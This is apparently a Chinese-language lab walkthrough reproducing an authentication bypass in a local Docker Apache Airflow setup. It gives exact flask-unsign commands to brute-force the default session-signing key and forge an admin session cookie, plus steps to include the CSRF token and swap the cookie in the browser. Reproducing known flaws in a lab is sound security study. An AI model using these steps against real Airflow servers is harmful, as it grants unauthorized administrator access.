开启容器前执行docker compose run airflow-init
初始化Apache Airflow 数据库
再执行docker compose up -d
开启容器
访问ip:8080端口登录界面
此漏洞复现需要安装以下依赖
pip install flask-unsign
pip install flask-unsign[wordlist]
通过curl命令访问登录页面,获取服务器返回的签名后的 Session Cookie:
curl -v http://localhost:8080/admin/airflow/login
使用flask-unsign工具爆破签名使用的默认密钥
flask-unsign -u -c [第一步获取的Session值]
爆破出密钥为temporary_key
使用爆破出的密钥temporary_key,生成包含伪造user_id=1(管理员用户 ID)的 Session
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
在浏览器中,将 Cookie 中的 Session 值替换为上一步生成的伪造 Session,刷新页面后即可绕过登录验证,直接以管理员身份登录系统
右键检查网页,打开开发者工具
在开发者工具顶部导航栏中,选择「Application」(应用程序,部分浏览器可能叫「Storage」)
在右侧的 Cookie 列表中,找到名为 session 的条目(如果没有,可能名为 session_id 等,根据实际情况确认)
双击 session 条目的「值(Value)」列,删除原有的值,粘贴上一步生成的伪造 Session 字符串(例如类似 eyJ1c2VyX2lk... 的长字符串)
按回车键自动修改(自动保存)
刷新页面完成权限绕过(以管理员身份登陆后台)
复现时遇到的问题:
伪造 Session 时遗漏了 CSRF token 字段,系统校验失败
解决办法:
解码原始 Session,提取csrf_token,执行
flask-unsign -d -c [原始Session值]
原始Session值就是一开始的curl命令得出的值
构造包含csrf_token的伪造 Session,执行
flask-unsign -s --secret temporary_key -c "{'user_id': '1', 'csrf_token': 'xxx', '_fresh': False, '_permanent': True}"
xxx为csrf_token的值